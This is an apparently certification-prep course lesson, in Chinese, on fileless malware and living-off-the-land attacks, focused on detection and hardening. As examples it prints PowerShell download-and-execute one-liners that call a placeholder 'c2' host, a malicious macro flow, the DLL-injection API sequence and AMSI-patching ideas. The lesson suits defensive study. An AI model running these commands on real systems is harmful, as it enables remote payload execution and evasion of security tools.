Cloud & IT Cert Prep · 课时

无文件恶意软件与寄生式攻击

学习无文件恶意软件如何滥用合法工具(PowerShell、WMI、宏)来规避传统的基于特征码的检测。

第 4 / 4 课13 个步骤

无文件恶意软件与寄生式攻击 是 CoddyKit 上的免费 Cloud & IT Cert Prep 课时。 这是第 4 节课,共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cloud & IT Cert Prep 学习路径的一部分,你的进度在网页和 CoddyKit 应用中同步。 Cloud & IT Cert Prep 课程共包含 4 节课。

无文件攻击为何如此有效

传统恶意软件会将可执行文件写入磁盘,从而为基于签名的防病毒软件提供 Scanning 和 Detection 的机会。无文件恶意软件完全在内存中运行,或滥用系统中已经安装的合法工具,因此不会留下传统恶意软件文件供 AV 查找。这会显著降低基于签名工具的 Detection 率。Security 厂商报告称,无文件恶意软件攻击的成功可能性是基于文件攻击的 10 倍。2016 年孟加拉国银行劫案、2017 年的 Petya/NotPetya 变种,以及大量民族国家级入侵,都利用了无文件技术来维持 persistence 并规避 Detection。

Living-off-the-Land(LotL)技术

Living-off-the-land(LotL)攻击利用受害系统中已经存在的合法工具和实用程序执行恶意操作。这些工具——PowerShell、WMI、certutil、mshta、regsvr32、rundll32——由于具有合法用途,因此受到 OS 和 Security 软件的信任。攻击者如果完全使用内置工具,就能融入正常的管理活动。防御方面临的挑战,是区分这些工具的恶意使用和合法管理工作。因此,对于 LotL 技术而言,行为分析和上下文感知比基于签名的 Detection 更有效。

# Common LotL (LOLBins - Living Off the Land Binaries):
# certutil.exe   - download files from internet
# mshta.exe      - execute HTA (HTML Application) scripts
# regsvr32.exe   - execute DLL or scriptlets remotely (Squiblydoo)
# rundll32.exe   - execute DLL exports
# wmic.exe       - WMI queries and lateral movement
# bitsadmin.exe  - download/upload via BITS service
# powershell.exe - nearly unlimited capability
# cmstp.exe      - bypass UAC, run scripts

将 PowerShell 作为攻击工具

PowerShell 是被滥用最严重的 LotL 工具,因为它可以访问完整的 .NET framework、WMI 和 Windows API,并且在内存中执行时留下的痕迹很少。攻击者会将 PowerShell 脚本直接下载到内存中而不写入磁盘,将命令编码为 Base64 以混淆内容、避开日志记录,并利用反射等功能在内存中加载 .NET 程序集。Empire 和 Cobalt Strike framework 高度依赖 PowerShell 执行入侵后的操作。防御措施包括 PowerShell Constrained Language Mode、ScriptBlock 日志记录(记录解码后的脚本内容)、Module 日志记录,以及通过 Group Policy 限制可运行 PowerShell 的人员。

# PowerShell attack example (educational):
# Download and execute payload entirely in memory:
# powershell.exe -NoP -NonI -Exec Bypass -W Hidden -Enc <base64>
# IEX (New-Object Net.WebClient).DownloadString('http://c2/payload.ps1')

# Defense: Enable PowerShell logging (Group Policy):
# Computer Config -> Admin Templates -> Windows Components
# -> Windows PowerShell
# Turn on PowerShell Script Block Logging: Enabled
# Turn on Module Logging: Enabled
# Turn on Transcription: Enabled

用于持久化和横向移动的 WMI

WMI(Windows Management Instrumentation)是 Windows 中用于系统管理的强大功能,但攻击者会滥用它来实现持久化和横向移动。WMI 事件订阅会在指定事件发生时触发命令(例如每 5 分钟、用户登录时或特定进程启动时)。这些订阅可以在重启后继续存在,存储在 WMI repository 中,并且不会显示为传统的计划任务或注册表运行键,从而规避许多持久化 Detection 工具。攻击者还可以通过 DCOM(端口 135)使用 WMI 在远程系统上执行进程,无需网络共享即可实现横向移动。

# WMI event subscription for persistence (educational):
# Filter: every 5 minutes
# Consumer: execute powershell command
# Binding: connect filter to consumer
#
# Detection:
# Monitor WMI subscriptions:
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding

# Sysmon Event ID 19/20/21: WMI events logged

进程注入技术

进程注入允许恶意软件在合法且受信任进程的地址空间内运行恶意代码(explorer.exe、svchost.exe、notepad.exe)。恶意代码会继承该进程的权限和身份,使网络连接看起来像是来自受信任的应用程序。常见的注入技术包括 DLL 注入(将恶意 DLL 加载到另一个进程中)、进程镂空(创建处于挂起状态的进程,解除其代码映射,再替换为恶意代码)以及反射式 DLL 注入(直接从内存加载 DLL 而不写入磁盘)。EDR 工具会监控 API 调用序列(OpenProcess、VirtualAllocEx、WriteProcessMemory、CreateRemoteThread)来检测注入。

# DLL injection API sequence:
# 1. OpenProcess(PROCESS_ALL_ACCESS, target_pid)
# 2. VirtualAllocEx(target, NULL, dll_path_len, MEM_COMMIT, PAGE_READWRITE)
# 3. WriteProcessMemory(target, alloc_addr, dll_path, dll_path_len)
# 4. CreateRemoteThread(target, NULL, 0, LoadLibraryA, alloc_addr)

# Sysmon rules to detect injection:
# Event ID 8: CreateRemoteThread
# Event ID 10: ProcessAccess (targetted process opened)
# Event ID 25: ProcessTampering (image changed in memory)

启用宏的文档作为入口点

许多无文件攻击链始于包含 VBA 宏的恶意 Office 文档。当用户打开文档并启用宏时(通常会受到“启用 Content 以查看此文档”之类消息的诱导),宏会运行 PowerShell,直接在内存中下载并执行有效载荷。有效载荷从未接触磁盘,只有原始 Office 文档写入了磁盘。这就是 Security+ 考试强调禁用宏并部署 ASR(Attack Surface Reduction)Rule 的原因。现代中间人攻击者钓鱼 framework(如 Evilginx2)还会在窃取凭据后发送恶意文档,以部署 RAT。

# Malicious macro flow (educational):
# 1. User receives .docm via email
# 2. User opens, clicks 'Enable Content'
# 3. VBA macro runs:
#    Shell 'powershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://c2/stage2.ps1'')"'
# 4. PowerShell downloads stage2 into memory
# 5. stage2 runs shellcode / loads Cobalt Strike Beacon in memory
# 6. No malware files on disk; only the .docm exists

# ASR rule to block:
# 'Block all Office applications from creating child processes'

AMSI:反恶意软件扫描接口

AMSI(反恶意软件扫描接口)是一种 Windows API,允许应用程序(PowerShell、VBScript、JScript、Office)在运行时将内容提交给已安装的防病毒引擎进行 Scanning,即使内容尚未写入磁盘也可以进行扫描。AMSI 使 AV 厂商能够扫描脚本内容,而这些内容原本无法被基于文件的扫描看到。攻击者会尝试通过修改内存中的 amsi.dll,使其对所有提交内容返回“clean”结果,或者混淆脚本内容以避开签名匹配,从而绕过 AMSI。EDR 工具会监控 AMSI 修改尝试,将其作为无文件攻击活动的指标。

# How AMSI works:
# PowerShell/WScript calls AmsiScanBuffer() before execution
# Windows Defender (or other AV) scans the buffer
# If malicious: AMSI returns AMSI_RESULT_DETECTED -> execution blocked

# AMSI bypass attempts to detect (Sysmon/EDR):
# Memory write to amsi.dll: patch AmsiScanBuffer to always return 0
# Unloading amsi.dll from process memory
# PowerShell Constrained Language Mode + AMSI = stronger defense

检测无文件攻击

检测无文件恶意软件需要从基于文件的 Detection 转向行为监控。主要 Detection 策略包括:PowerShell ScriptBlock 日志记录会捕获解码后的脚本内容,即使命令行中的内容经过编码;Sysmon会记录包含完整命令行的进程创建事件、带有进程归属信息的网络连接以及注册表修改;EDR 行为 Rule会在发现可疑进程关系时发出 Alert(例如 Word 启动 PowerShell、PowerShell 启动 cmd、certutil 下载可执行文件);Windows Event Forwarding会将这些日志发送到集中式 SIEM,以便进行关联分析和长期保留。

# Sysmon detection rules for LotL:
# Event ID 1: Process creation
#   Alert if: Word.exe spawns cmd.exe or powershell.exe
#   Alert if: certutil.exe with -urlcache -f parameters
#   Alert if: mshta.exe with remote URL argument

# Event ID 3: Network connection
#   Alert if: powershell.exe initiates outbound connection
#   Alert if: mshta.exe connects to non-Microsoft IPs

# Event ID 7: Image loaded
#   Alert if: known-bad DLL loaded into legitimate process

限制 LotL 工具的使用

组织可以通过限制哪些用户能够运行强大工具来缩小 LotL 攻击面。PowerShell Constrained Language Mode会限制攻击者所依赖的 .NET 调用、COM 对象和反射。AppLocker 和 WDAC(Windows Defender Application Control)可以阻止非 Admin 用户运行特定 Binaries。LOLBAS 项目汇总了已知的 LotL Binaries 及其攻击技术,帮助防御方确定应监控或限制哪些 Binaries。并非所有 LotL Binaries 都能被 Block(许多 Binaries 是 OS 正常运行所必需的),但结合上下文监控其使用情况是可行的。

# PowerShell Constrained Language Mode:
$ExecutionContext.SessionState.LanguageMode = 'ConstrainedLanguage'
# Or via WDAC policy; CLM automatically applied when WDAC is active

# AppLocker: block mshta.exe for standard users
# Computer Config -> Windows Settings -> Security Settings
# -> Application Control Policies -> AppLocker
# Executable Rules -> Add Rule -> Deny -> mshta.exe (path rule)

# WDAC (stronger than AppLocker):
# Cannot be bypassed by local admin unlike AppLocker
# Enforced at kernel level

MITRE ATT&CK 对无文件技术的覆盖

MITRE ATT&CK framework详细记录了无文件技术和 LotL 技术。主要子技术包括:T1059.001(PowerShell)、T1047(WMI 执行)、T1055(进程注入)、T1140(反混淆/解码文件)、T1003.001(用于 Credential 转储的 LSASS 内存)以及 T1546.003(用于 persistence 的 WMI 事件订阅)。使用 ATT&CK Navigator 将您的 Detection 能力映射到这些技术,可以发现覆盖缺口并指导 SIEM Rule 的开发。该 framework 还为每项技术提供缓解和 Detection 指导。

无文件恶意软件防御摘要

针对无文件恶意软件的分层防御策略包括:启用 PowerShell 日志记录(ScriptBlock、Module、Transcription),部署采用全面 Config 的 Sysmon,使用更新后的 AV 引擎实现 AMSI,通过 WDAC 强制执行 PowerShell Constrained Language Mode,通过 Group Policy 限制 Office 文档中的宏执行,部署具备行为 Detection 能力的 EDR,并将所有日志转发到 SIEM,同时配置用于检测已知恶意进程链的 Rule。限制攻击面并提升可见性的组合措施,会显著增加无文件攻击在不被 Detection 的情况下执行的难度。

快速检查

测试您对本课 CompTIA Security+ (SY0-701) 概念的理解。

课程回顾

本课中您学习了以下内容:无文件恶意软件在内存中运行,并滥用 PowerShell、WMI 和 certutil 等合法 OS 工具来规避基于签名的 Detection;进程注入技术利用 Windows 内存管理 API,将恶意代码隐藏在受信任的进程中;结合 PowerShell 日志记录和 AMSI,通过 SIEM、Sysmon 与 EDR 实现的行为 Detection,能够为抵御这些规避签名的攻击链提供最强的防护。接下来我们将学习漏洞 Scanning 与渗透测试的区别。

免费开始

用 AI 导师学习 Cloud & IT Cert Prep — 免费

在浏览器中编写并运行真实代码,获得全天候 AI 导师的即时帮助,并在网页或应用中继续学习。

课程
150
课程
600

常见问题解答

「无文件恶意软件与寄生式攻击」课时是免费的吗?

是的 — 「无文件恶意软件与寄生式攻击」的完整文本可在网页上免费阅读。要进行交互式练习(内置代码编辑器和全天候 AI 导师)并解锁 Cloud & IT Cert Prep 课程的其余内容,请升级到 CoddyKit PRO。 Cloud & IT Cert Prep 课程共包含 4 节课。

「无文件恶意软件与寄生式攻击」这节课中我会学到什么?

学习无文件恶意软件如何滥用合法工具(PowerShell、WMI、宏)来规避传统的基于特征码的检测。 你通过在浏览器中直接运行的动手代码来练习 Cloud & IT Cert Prep,全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Cloud & IT Cert Prep 需要有经验吗?

无需任何先前经验。CoddyKit 上的 Cloud & IT Cert Prep 课程适合初学者到高级学习者,你可以从这里开始或从头开始,按照自己的节奏学习。 这是第 4 节课,共 4 节。

「无文件恶意软件与寄生式攻击」课时需要多长时间?

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动,所以你能稳步进步,并在网页和应用中从离开的地方继续。

我能在这节 Cloud & IT Cert Prep 课中编写并运行代码吗?

能。每节 Cloud & IT Cert Prep 课都包含内置代码编辑器,你可以在浏览器中直接编写并运行真实代码,并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. 病毒、蠕虫与木马
  2. 勒索软件与加密锁定程序
  3. Rootkit、间谍软件与键盘记录器
  4. 无文件恶意软件与寄生式攻击
← 返回 Cloud & IT Cert Prep